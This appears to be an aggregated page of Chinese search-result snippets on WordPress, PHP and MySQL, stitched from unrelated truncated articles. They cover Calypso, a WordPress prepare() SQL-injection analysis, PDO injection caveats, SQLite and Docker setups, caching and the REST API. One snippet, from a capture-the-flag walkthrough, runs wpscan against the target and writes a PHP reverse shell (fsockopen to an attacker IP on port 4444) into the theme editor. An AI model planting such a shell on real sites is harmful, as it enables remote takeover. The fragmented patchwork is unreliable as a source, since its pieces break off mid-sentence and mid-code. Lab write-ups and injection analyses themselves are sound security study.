最近 WordPress.com 发布了 Calypso 这个全新的界面和 Mac 桌面程序,然后网上一大堆人说 WordPress.com 放弃 PHP +MySQL了,基于NodeJS+React重构了...首先来了解下 Calypso 是什么,Calypso 是 WordPress.com 新的前端,基于 WordPress.com 的 REST API,全新设计的 WordPress Dashboard...的单页 Web 程序,让你可以在一个地方阅读,撰写和管理你所有的 WordPress 站点。...Calypso 是基于 WordPress.com 的 REST API的,WordPress.com REST API 是基于什么写的?当然还是PHP+MySQL。...所以 WordPress.com 并没有放弃 PHP,只是使用 NodeJS+React 重构了博主管理后台,就是这样简单的事情,竟然被国内外一些科技媒体描述成 PHP 被放弃了,想想都醉了。
文章搞得乱七八糟给大家添麻烦了,干货不多,有需要的人阅读就好了 0x01 前言 WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。...WordPress具有插件架构和模板系统。Alexa排行前100万的网站中有超过16.7%的网站使用WordPress。到了2011年8月,约22%的新网站采用了WordPress。...WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) 进入prepare函数 /wp-includes/wp-db.php.../wp-includes/class-wp-query.php line 2246~2282 面对这种大批量的拼接问题,一般会使用esc_sql函数来过滤 这里esc_sql最终也是会调用上面提到的escape.../meta.php line 365行 这里我们可以找到漏洞代码 我们可以注意到,当满足条件的时候,字符串会两次进入prepare函数。
作者:LoRexxar'@知道创宇404实验室 发表时间:2017年10月25日 0x01 前言 WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。...WordPress具有插件架构和模板系统。Alexa排行前100万的网站中有超过16.7%的网站使用WordPress。到了2011年8月,约22%的新网站采用了WordPress。...我们先从代码中找到一个例子来看看 /wp-admin/edit.php line 86 $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM...WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) 进入prepare函数 /wp-includes/wp-db.php...prepare函数。
}/wp-content/mu-plugins/sqlite-database-integration/db.copy" "${WORDPRESS_PREPARE_DIR}/wp-content/db.php...}/wp-content/db.php" && \ sed -i 's#{SQLITE_PLUGIN}#sqlite-database-integration/load.php#' "${WORDPRESS_PREPARE_DIR...}/wp-content/db.php" && \ mkdir "${WORDPRESS_PREPARE_DIR}/wp-content/database" && \ touch "${...,我只需要更新 Dockerfile 中的版本号,点击发布按钮,干净的 GitHub 构建环境就会开始组装新的镜像,并推送到 Docker Hub,用户就能够下载使用啦。...--EOF 引用链接 [1] WordPress 告别 MySQL:Docker SQLite WordPress: https://soulteary.com/2024/04/17/say-goodbye-to-mysql-docker-sqlite-wordpress.html
写在前面在前一篇文章《WordPress 告别 MySQL:Docker SQLite WordPress》中,如果你跟着文章实践,大概三分钟就能够启动一个不需要 “数据库” 的 WordPress 的容器实例...}/wp-content/mu-plugins/sqlite-database-integration/db.copy" "${WORDPRESS_PREPARE_DIR}/wp-content/db.php...}/wp-content/db.php" && \ sed -i 's#{SQLITE_PLUGIN}#sqlite-database-integration/load.php#' "${WORDPRESS_PREPARE_DIR...}/wp-content/db.php" && \ mkdir "${WORDPRESS_PREPARE_DIR}/wp-content/database" && \ touch "${WORDPRESS_PREPARE_DIR...我只需要更新 Dockerfile 中的版本号,点击发布按钮,干净的 GitHub 构建环境就会开始组装新的镜像,并推送到 Docker Hub,用户就能够下载使用啦。
WordPress 的 PHP 编码标准对整个 WordPress 社区都适用,但是对于 WordPress 核心代码是强制要求的,而对于主题和插件,WordPress 则鼓励使用,因为主题和插件的作者可能会选择遵循别的编码风格...对于开发者来说,如果想根据这个规范去自动检查自己的代码,可以使用基于 PHP_CodeSniffer 开发的官方 WordPress 编码规范工具。...可能未转义的原始数据 $id = some_foo_number(); // 期待是整形的数据,但是不能确定 $wpdb->query( $wpdb->prepare( "UPDATE $wpdb...PHP 直到 8.0 起,才支持命名参数,但是,由于 WordPress 目前仍支持较旧的 PHP 版本,我们还不能使用这些版本。...create_function() 函数,相当于内部执行了内部执行 eval(),PHP 7.2 起已弃用,并已在 PHP 8.0 中删除,所以都不能使用。
将excel导入MySQL 在wordpress数据库中创建一个MySQL表:一个包含2个字段的表'allpost' 登录mysql,执行以下语句: CREATE TABLE `wordpress`....`ID` = 3; 重启一下mysql,让其释放ID。 使用phpmyadmin导入Excel到MySQL 浏览上传CSV文件后,其他的选项都不要动,只要注意“字段分隔符”那里是一个英文的逗号就行了。...post_status,文章状态不能是已发布(publish),得是草稿状态(draft)。...由于我们需要从MySQL表创建所有的文章,我们需要使用一个while循环,这样我们创建一个createpost.php,代码如下: php放到wordpress网站根目录,chomd +x后,/usr/local/php/bin/php createpost.php,稍等一小会,大功告成。
在 PHP 中,Serialize 和 JSON 是 PHP 和 WordPress 开发中的数据处理的常用方法,那么它们有什么区别呢?在 WordPress 中又如何使用呢?...JSON 是基于Unicode格式,所以要在 UTF-8 环境下进行操作,如果中文不想转换成 unicode,需要使用额外的参数: json_encode($array, JSON_UNESCAPED_UNICODE...PHP 5.3 之前只支持 一个参数 data,PHP 5.3 引进了 options 参数,PHP 5.5 又引进了 在 json_encode 之前,wp_json_encode 使用函数 _wp_json_prepare_data... 对数据进行清理,如果 boolean,integer,double,string,NULL 这些类型,直接返回,如果数组,继续使用 _wp_json_prepare_data 函数对数组中的每个元素进行清理...,如果是对象,如果该对象的 class 实现了 JsonSerializable 接口,则返回 data = data->jsonSerialize(),否则,继续使用 _wp_json_prepare_data
当我们使用传统的 mysql_connect 、mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制。...虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷。而使用PHP的PDO扩展的 prepare 方法,就可以避免sql injection 风险。...PHP6中也将默认使用PDO的方式连接,mysql扩展将被作为辅助 。...虽然你可以配置文件中设置字符集的属性(charset=utf8),但是需要格外注意的是,老版本的 PHP( 我们来看一段完整的代码使用实例: $dbh = new PDO("mysql:host=localhost...; $stmt = $dbh->prepare($sql); $exeres = $stmt->execute(array($testname, $pass)); if ($exeres) { while
WordPress 有个用户会话功能,就是在后台 > 用户 > 「我的个人资料」菜单下有个「登出其他设备」的按钮,点击它可以在其他设备上登出,只在此处保留登录状态。...这个用户会话功能非常有用,比如你在别处登录了,然后忘记登出了,可以使用该功能,快速登出其他设备,防止被人的操作。...使用内存缓存优化 WordPress 用户会话功能 WordPress 用户会话功能是通过一个 WP_User_Meta_Session_Tokens 这个 class 进行处理的,然后它提供了 session_token_manager...is_array( $sessions ) ) { return []; } $sessions = array_map( array( $this, 'prepare_session'...WPJAM_User_Session_Tokens'; }); WPJAM Basic 插件已经集成了 Memcached,下载 WPJAM Basic 之后,将 wpjam-basic/template/ 目录下的 object-cache.php
大概学过 PHP 的都听说过这句话。代码中出现了 PDO 就行了吗?答案肯定是否定的。接下来给大家介绍几种使用了 PDO 还是不能防止 sql 注入的情况。...$_GET['id'];$sth=$dbh->prepare($sql);$sth->execute(array(":id"=>1));$result=$sth->fetch(PDO::FETCH_ASSOC...我们需要抓包来看 php 本地模拟预编译的通信过程,但是 windows 不能在本地回环网卡上监听流量,所以我们要在虚拟机里装一个 mysql,然后在虚拟机里抓包看看。...这里我用的是 kali 虚拟机。 1、首先把修改 mysql 的配置文件,kali 下的配置文件的位置是 /etc/mysql/my.cnf ?...只要是本地模拟 sql 预编译都会有这样的问题,值得一提的是,php5.2.17 即使将本地模拟预编译的参数设置为 false,还是会存在宽字节注入,也就是说,它仍然是用模拟预编译,我猜测是 php 的版本太低
不能在运行时改变。在 PHP 中默认值为 on。 代码示例: 使用MySqli $stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?')...php $pdo = new PDO("mysql:host=192.168.0.1;dbname=test;charset=utf8","root"); $st = $pdo->prepare("select...pdo的处理方法是在prepare函数调用时,将预处理好的sql模板(包含占位符)通过mysql协议传递给mysql server,告诉mysql server模板的结构以及语义。...当然这是面试经常问的问题,请看这三篇文章,虽然有点老,但是我认为对原理的理解还是很有帮助的。
启用缓存 WordPress有多种缓存机制,合理使用缓存,能让站点速度大大提升。...在 wp-config.php文件后添加下列内容 //WordPress自定义优化项。...后添加下列内容 //WordPress主题 functions.php 优化项 //引入方式:在主题functions.php后添加 //移除不必要的信息,如WordPress版本 remove_action...PHP & MySQL 选用高版本:PHP7及以上性能有极大提升,且PHP5也已经停止支持。...启用PHP OPCache扩展 合理优化MySQL参数 对于较低配机器不建议使用MySQL 5.6及以上版本 使用 Memcached & Redis 网络 在选择主机或服务器时,如果可以,尽量使用国内的
使用的是 mysql 数据库,那么json是不能直接用的,所以需要再到上述网站将 json 转换为 sql 格式,最后在 phpmyadmin 中导入 sql 数据到 wordpress 数据库。...),这里我是写了个简单的 php 文件来读取 json 文件并遍历获取每个对象的对应文章 id 后再写入 json 进行新增的(很傻,而且速度不快),其实这里可以直接在 phpmyadmin 中使用 mysql...关联父级评论(注意项) 完成评论数据文章关联后就剩最后一步了,关联子评论到父级评论,利用上面提到的原理操作即可,这次我选择直接使用 mysql 进行数据库更新,这样就告别了繁琐的读写删改 json 及转换步骤了...操作环境: windows mysql + navicat for mysql(留意当前需处理的 sql 文件数据结构必须与 wordpress 数据库中导出 wp_comments 数据表保持一致!)...(总感觉太依赖线上服务不太好,万一以后要再做迁移不能用就麻烦了),处理数据的逻辑更清晰了,顺便只保留了几个与 valine 关联的字段方便以后使用。
prepare fsociety inform question wakeup join 然后尝试了一波看看能不能执行命令但是也失败了(我傻逼了,前端JS的特效我去执行命令233333): ?...192.168.159.131/ -e .php -x 301,302,403 ?...很显然他的 CMS 就是 Wordpress ,那么我们就可以使用 KALI 上自带的 wpscan 来对它进行简单的扫描看看存在哪些用户: wpscan --url http://192.168.159.131...随后我拿着密码登陆到了后台来到编辑页面处:Appearance-Editor,然后我写入了反弹shell的php: php $sock=fsockopen('192.168.159.128',4444); $descriptorspec=array( 0=>$sock, 1=>$sock, 2=>$sock ); $
WordPress 自4.7 版本后与时俱进推出了REST API,如此一来想象空间又扩展了许多,如今WordPress 可以完全作为后端数据驱动了。...本文通过几个例子展示如何定制化输出WordPress REST API 的相关数据。...register_rest_field( 'post', 'metadata', array( 'get_callback' => function ( $data ) { return...', 'dw_rest_prepare_post', 10, 3 ); 上面的代码展示的是如何输出thumb 这个 post meta 字段,请按需使用。...~ '(iPhone|Android)'){ return 403; } try_files $uri $uri/ /index.php?
由于上述的原因,所以 PHP 的魔术引号特性已自 PHP 5.3.0 起被废弃,并自 PHP 5.4.0 起被移除。 WordPress 是如何进行数据转义的?...$_REQUEST = array_merge( $_GET, $_POST ); } 所以尽管 PHP 5.4 之后,魔术引号特性已经被移除,但是为了保持代码的一致性和兼容性,WordPress 这个操作一直保留下来...WordPress 开发者应该怎么处理呢 我总结了一下,关于 WordPress 转义有以下几个要点要记一下,我每次碰到问题的时候,都会打开这篇文章回顾下面这几个要点,很多问题,都会迎刃而解。... wpdb::prepare()。...如果数据已经反转义或者未转义,使用这些 WordPress 原生函数之前,反而要对数据进行转义操作(使用 wp_slash() 函数)。
这里推荐使用官方镜像 registry.docker-cn.com 。下面是我的 Debian 系统的默认仓库修改方法,其他系统的修改方法参考官方文档。...这时,使用下面的命令查看正在运行的容器,你应该看到wordpress和wordpressdb两个容器正在运行。...定制 PHP 容器 现在 WordPress 容器和 MySQL 容器都已经有了。接下来,要把 WordPress 容器连接到 MySQL 容器了。...至此,自建 WordPress 容器的演示完毕,可以把正在运行的两个容器关闭了(容器文件会自动删除)。...每次新建容器,返回的 IP 地址不能保证相同,导致要更换 IP 地址访问 WordPress。 WordPress 安装在容器里面,本地无法修改文件。
不支持游标 上文中提到了游标操作,PDO 扩展是支持游标的,但是需要注意的是,MySQL 扩展并不支持这个操作。...所以我们使用游标相关的属性对于 MySQL 库是没有效果的。...但是在我们对 MySQL 的测试中,它们并没有任何效果,依然是获取结果集的下一条数据。...但这种方式不能保证对所有数据有效,且对可移植的应用更不要依赖这种方式。...= $pdo->lastInsertId(); echo $rowCount, PHP_EOL; // 1 $stmt = $pdo->prepare("update zyblog_test_user
这里推荐使用官方镜像 registry.docker-cn.com 。下面是我的 Debian 系统的默认仓库修改方法,其他系统的修改方法参考官方文档。...这时,使用下面的命令查看正在运行的容器,你应该看到wordpress和wordpressdb两个容器正在运行。...接下来,要把 WordPress 容器连接到 MySQL 容器了。但是,PHP 的官方 image 不带有mysql扩展,必须自己新建 image 文件。 首先,停掉 WordPress 容器。...至此,自建 WordPress 容器的演示完毕,可以把正在运行的两个容器关闭了(容器文件会自动删除)。...每次新建容器,返回的 IP 地址不能保证相同,导致要更换 IP 地址访问 WordPress。 WordPress 安装在容器里面,本地无法修改文件。